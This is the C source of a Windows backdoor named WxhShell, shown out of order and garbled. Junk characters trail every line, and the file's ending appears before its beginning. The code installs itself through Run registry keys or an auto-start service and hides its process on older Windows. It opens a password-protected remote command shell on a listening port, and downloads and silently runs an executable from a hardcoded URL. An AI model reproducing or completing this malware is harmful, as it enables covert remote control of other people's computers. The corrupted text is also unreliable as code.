DWORD BasePriority; U4)x "s[CP
ULONG UniqueProcessId; :0@R(ct;>
ULONG InheritedFromUniqueProcessId; /e5' YVP
} PROCESS_BASIC_INFORMATION; cq:<,Ke
zG-pqE6
PROCNTQSIP NtQueryInformationProcess; fy9mS
j3>0oe!
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; KYa}k0tVAp
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Q+@/.qJ
[A~n=m5H
HANDLE hProcess; k{\wjaf)
PROCESS_BASIC_INFORMATION pbi; Q^13KWvuV
p[oR4 HWr
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <L'!EcHm%]
if(NULL == hInst ) return 0; 4SRjF$Bsz
)S?. YCv?
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6d~[j<@2
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N{+6 V`\
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :&Sv jJR
K^32nQX
if (!NtQueryInformationProcess) return 0; 5i71@?q;
PL"u^G`
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); TwPpZ@
if(!hProcess) return 0; D)shWJRlvW
g
Va;!
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (sM$=M<$
B|9[DNd
CloseHandle(hProcess); W5i{W'
rtM29~c>@
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )M3}6^s]
if(hProcess==NULL) return 0; xXb7/.*qE
B
]*v{?<W
HMODULE hMod; T{WJf-pI
char procName[255]; ZkWX4?&OMt
unsigned long cbNeeded; WAq)1gwN
!s^[|2D_U
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7sypU1V6
]bcAbCZ@
CloseHandle(hProcess); 7Eb |AR
!O)je>A
if(strstr(procName,"services")) return 1; // 以服务启动 `L~gERW#
lZ,w#sqbY
return 0; // 注册表启动 7QSrC/e
} ,:[\h\5m
0G;
b+
// 主模块 gvzBV
+3'
int StartWxhshell(LPSTR lpCmdLine) B1^9mV'O
{ r4MPs-}oF
SOCKET wsl; >o/+z18x
BOOL val=TRUE; (#e,tu
int port=0; ,"en7
struct sockaddr_in door; 7a0T]
c"*xw8|
if(wscfg.ws_autoins) Install(); LI}@qLe
*ggai?
port=atoi(lpCmdLine); \]Bwib%h
d\O*Ol*/v
if(port<=0) port=wscfg.ws_port; s2=`haYu
{!0f.nv
WSADATA data; wXR7Ifrv
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "udA-;!@&
t,w'w_C
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; bU$f4J
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e^=b#!}-5:
door.sin_family = AF_INET; =|+%^)E
door.sin_addr.s_addr = inet_addr("127.0.0.1");
KP@bz
door.sin_port = htons(port); \d)HwO
R6cd;| fan
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $G<!+^T
closesocket(wsl); >mAi/TZC
return 1; ew+>?a'&L
} !8Y$}
V$Zl]f$S
if(listen(wsl,2) == INVALID_SOCKET) { Kcu*Z
closesocket(wsl); F+<e9[
return 1; sgLw,WZ:
} 99GK6}~TGm
Wxhshell(wsl); S1I# qb
WSACleanup(); GI5#{-)
R$m?aIN
return 0; |S6L[Uo
A u10]b
} <D`VFSEJ
a&z$4!wQB
// 以NT服务方式启动 .;J6)h
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) vu@@!cT6e
{ [,yYr
DWORD status = 0; @1vpkB~ w
DWORD specificError = 0xfffffff; )+ (GE
gmUX
2x(
serviceStatus.dwServiceType = SERVICE_WIN32; vqhu%ZyP
serviceStatus.dwCurrentState = SERVICE_START_PENDING; _uL8TC^
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; a7U`/*
serviceStatus.dwWin32ExitCode = 0; bZ SaL^^(
serviceStatus.dwServiceSpecificExitCode = 0; ugV/#v O
serviceStatus.dwCheckPoint = 0; o}b_`O
serviceStatus.dwWaitHint = 0; WSxE/C|[
6s.>5}M!
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7`J= PG$A
if (hServiceStatusHandle==0) return; !sVW0JS h
aY8QYK ;?^
status = GetLastError(); 0'Uo3jAB
if (status!=NO_ERROR) [;Y*f,UG_-
{ ruU &.mZ
serviceStatus.dwCurrentState = SERVICE_STOPPED; $tqr+1P
serviceStatus.dwCheckPoint = 0; _T.T[%-&=
serviceStatus.dwWaitHint = 0; ;9;jUQ]MyG
serviceStatus.dwWin32ExitCode = status; bLsN?_jy
serviceStatus.dwServiceSpecificExitCode = specificError; 7pO/!Lm
SetServiceStatus(hServiceStatusHandle, &serviceStatus); K+<F,
P
return; i%GNmD
} yPoa04!{=
e_+SBN1`P&
serviceStatus.dwCurrentState = SERVICE_RUNNING; ' OXL'_Xl
serviceStatus.dwCheckPoint = 0; sl_f+h0
serviceStatus.dwWaitHint = 0;
TcpaZ
'x
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); G`r/ te sW
} Yln[ZmK9g
!NO)|N>
// 处理NT服务事件,比如:启动、停止 aZ'(ar:
VOID WINAPI NTServiceHandler(DWORD fdwControl) |hD)=sCj
{ g[L}puN
switch(fdwControl) P$v9
{ y=&^=Zh[
case SERVICE_CONTROL_STOP: LI9
Uc\
serviceStatus.dwWin32ExitCode = 0; @(CJT-Ak
serviceStatus.dwCurrentState = SERVICE_STOPPED; E$C0\O!7
serviceStatus.dwCheckPoint = 0; m% %\k
\
serviceStatus.dwWaitHint = 0; VmON}bb[zz
{ MlV3qM@
SetServiceStatus(hServiceStatusHandle, &serviceStatus); B=)tq.Q7
} ih=O#f|
return; 3H`r|R
case SERVICE_CONTROL_PAUSE: gxc8O).5vY
serviceStatus.dwCurrentState = SERVICE_PAUSED; "ph[)/u;
break; )v+\1
case SERVICE_CONTROL_CONTINUE: UT%?3}*u"
serviceStatus.dwCurrentState = SERVICE_RUNNING; .#{m1mr
break; xM:9XhH1
case SERVICE_CONTROL_INTERROGATE: O ]!/fZ;(
break; :yFmCLZaQ
}; l.uW>AoLh
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5ajd$t
} tHmV4 H$
"R0(!3
// 标准应用程序主函数 1StaQUB
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) b[^|.>b
{ glomwny
2CRgOFR
// 获取操作系统版本 7OD2/{]5
OsIsNt=GetOsVer(); &?*H`5#?G
GetModuleFileName(NULL,ExeFile,MAX_PATH); i#I7ncX
hQ}y(2A.XI
// 从命令行安装 TG6E^3a P
if(strpbrk(lpCmdLine,"iI")) Install(); Qe;R3D=T;
.R_-$/ZP
// 下载执行文件 cH`ziZ<&m1
if(wscfg.ws_downexe) { UIo jXR<
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )Ec /5=A
WinExec(wscfg.ws_filenam,SW_HIDE); E`#/m@:|-
} 4tlLh`-8
$bF3v=u`
if(!OsIsNt) { )sLXtV)nm6
// 如果时win9x,隐藏进程并且设置为注册表启动 lpnPd{kE
HideProc(); BM[jF=0
StartWxhshell(lpCmdLine); o)+Uyl
} Q tl!f
else 'RpX&g
if(StartFromService()) y eWB.M~X
// 以服务方式启动 zt2#6v
StartServiceCtrlDispatcher(DispatchTable); H{g&yo
else qa,i:T(w
// 普通方式启动 #@:GLmD%
StartWxhshell(lpCmdLine); j4+kL4M@H
xeW}`i5_w
return 0; evlz R/
} uF\ ;m.
XXy&1C
m^KK
#Hw/`
2`pg0ciX (
=========================================== MXs]3M
I`q"
6]fz;\DgP
.&rL>A2U
N4u-tlA
h 6juX'V
" ;oWak`]f
C!^[d
#include <stdio.h> l~ZIv
#include <string.h> {Z1^/Fv3
#include <windows.h> '5}@#Mi
#include <winsock2.h> 6Gh3r
#include <winsvc.h> >?(}F':
#include <urlmon.h> :,Mg1Zf
dPmNX-'7
#pragma comment (lib, "Ws2_32.lib") %<h+_(\h
#pragma comment (lib, "urlmon.lib") I5#zo,9
Q6hWHfS
#define MAX_USER 100 // 最大客户端连接数 dReJ;x4
#define BUF_SOCK 200 // sock buffer ]::g-&%Um
#define KEY_BUFF 255 // 输入 buffer N _|tw
hw0u?++
#define REBOOT 0 // 重启 }o7"2hht
#define SHUTDOWN 1 // 关机 d[y(u<Vl
nZ/pi$7
#define DEF_PORT 5000 // 监听端口 H",q-.!
Mb'Tx
#define REG_LEN 16 // 注册表键长度 ;fZ9:WB
#define SVC_LEN 80 // NT服务名长度 @WICAC=
PLhlbzc f
// 从dll定义API d7qYz7=d
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /XXy!=1J
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~ ":}Rs
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~c${?uf
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {J]x81}*;
c. 06Sw*
// wxhshell配置信息 |`Iispn
struct WSCFG { .y>G/8_i
int ws_port; // 监听端口 o$k9$H>Na
char ws_passstr[REG_LEN]; // 口令 u9D#5NvGs
int ws_autoins; // 安装标记, 1=yes 0=no >_SqM! ^v
char ws_regname[REG_LEN]; // 注册表键名 TgvBy
char ws_svcname[REG_LEN]; // 服务名 siD/`T&
char ws_svcdisp[SVC_LEN]; // 服务显示名 oETl?Vt
char ws_svcdesc[SVC_LEN]; // 服务描述信息 |%12Vr]J
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0tEe
$9eK@
int ws_downexe; // 下载执行标记, 1=yes 0=no XG01g3
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~JG\b?s
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >%c7|\q[ R
>M^4p
}; .{4U]a;[
L(DDyA{bA
// default Wxhshell configuration X%
X
&<
struct WSCFG wscfg={DEF_PORT, |6GDIoZ
"xuhuanlingzhe", HD153M,
1, N_R(i3c6U!
"Wxhshell", -p[!CI
"Wxhshell", aW(Hn[}^
"WxhShell Service", FwqaWEk
"Wrsky Windows CmdShell Service", <L+y
6B
"Please Input Your Password: ", IRIYj(J
1, EJ=ud9
"http://www.wrsky.com/wxhshell.exe", l1eF&wNC
"Wxhshell.exe" zaG1
}; Q8^g WBc
C!}t6
// 消息定义模块 d#-'DO{k
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; rVv4R/3+
char *msg_ws_prompt="\n\r? for help\n\r#>"; maVfLVx-
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3h`_Qv%g
char *msg_ws_ext="\n\rExit."; Jo4iWJpK
char *msg_ws_end="\n\rQuit."; YK )e
char *msg_ws_boot="\n\rReboot..."; ]B3f$;W
char *msg_ws_poff="\n\rShutdown..."; ;P9cjfSn
char *msg_ws_down="\n\rSave to "; @=dwvl' W
G1G*TSf
char *msg_ws_err="\n\rErr!"; `
*q>E
char *msg_ws_ok="\n\rOK!"; ~;yP{F8?
@3Gr2/a
char ExeFile[MAX_PATH]; N^%7
int nUser = 0; o+F<
r#
HANDLE handles[MAX_USER]; 5LzP0F
U
int OsIsNt; aM|;3j1p
+\U#:gmw
SERVICE_STATUS serviceStatus; Z!2%{HQ=q
SERVICE_STATUS_HANDLE hServiceStatusHandle; H&!?c5
=pd#U
// 函数声明 giORc
int Install(void); -^$`5Rk
int Uninstall(void); Cnv?0to2l
int DownloadFile(char *sURL, SOCKET wsh); d'k99(vy
int Boot(int flag); v`Yj)
void HideProc(void); 5DmW5w'p
int GetOsVer(void); {3eg4j.Z
int Wxhshell(SOCKET wsl); fzZ`O{$8
void TalkWithClient(void *cs); jW;g{5X
int CmdShell(SOCKET sock); q}cm"lO$
int StartFromService(void); )<[)7`
int StartWxhshell(LPSTR lpCmdLine); [^0 S#,L
pYz\GSd
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); N;R I
A
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =:_DXGW2H
9y?)Ga
// 数据结构和表定义 odhcU5
SERVICE_TABLE_ENTRY DispatchTable[] = 2 `U+
!
{ D+"+m%^>C
{wscfg.ws_svcname, NTServiceMain}, v4vIcHDs
{NULL, NULL} 'nN'bVl/
}; ;S+]Z!5LT
x &*2R#Ai
// 自我安装 u{5+hZ
int Install(void) xl ,(=L]
{ %gEgpJd
char svExeFile[MAX_PATH]; ";;Nc>-Y
HKEY key; Wgb L9'}B
strcpy(svExeFile,ExeFile); @G^m+-
Hv-f :P O
// 如果是win9x系统,修改注册表设为自启动 Dbw{E:pq
if(!OsIsNt) { OE=.@Ry"
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hw2Sb,bY
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Zmz $
hr
RegCloseKey(key); 7UsU03
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #j4RX:T*[
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nd~O*-uYg
RegCloseKey(key); S#*aB2ZS
return 0; N"A`tc5&
} X=jHH=</
} 7x#."6>Dy
} w7Ij=!)
else { 11?d,6Jl
#oJ%i+V
// 如果是NT以上系统,安装为系统服务 T\w{&3ONm
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }6!m Q
if (schSCManager!=0) _~bG[lX !
{ mr>dZ)
SC_HANDLE schService = CreateService P(aN6)D
( >E9 k5
schSCManager, YK>?;U+|
wscfg.ws_svcname, }///k]_Sh
wscfg.ws_svcdisp, L~E|c/
SERVICE_ALL_ACCESS, X+QoO=02LR
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %+@<T<>J<k
SERVICE_AUTO_START, EIF"{,m
SERVICE_ERROR_NORMAL, 6cXZ3;a
svExeFile, 9k;%R5(
NULL, wL[{6wL
NULL, m1Xc3=Y
NULL, FD/=uIXH2
NULL, @ \*Zq
NULL I lZ$Jd
); !md1~g$rN
if (schService!=0) 6#kmV
{ "'~&D/7
CloseServiceHandle(schService); [:8+ +#KD
CloseServiceHandle(schSCManager); ),XDY_9K
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); rmeGk&*R8
strcat(svExeFile,wscfg.ws_svcname); v9"03=h
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +LF`ZXe8l
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (BGflb
RegCloseKey(key); SW7AG;c=
return 0; UBw*}p
} ny1Dg$ui2
} $l_\9J913
CloseServiceHandle(schSCManager); ZMGC@4^F
} gWfMUl
} pkc*toW
lBLL45%BIN
return 1; y.gjs<y
} 10CRgrZ
H18pVh
// 自我卸载 F#a'N c9
int Uninstall(void) w%$J<Z^-?
{ %ZX3:2
HKEY key; Ge1"+:tbJ
6|QIzs<Z-X
if(!OsIsNt) { AbIYdFX B
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MB+a?u0\
RegDeleteValue(key,wscfg.ws_regname); A8
!&Y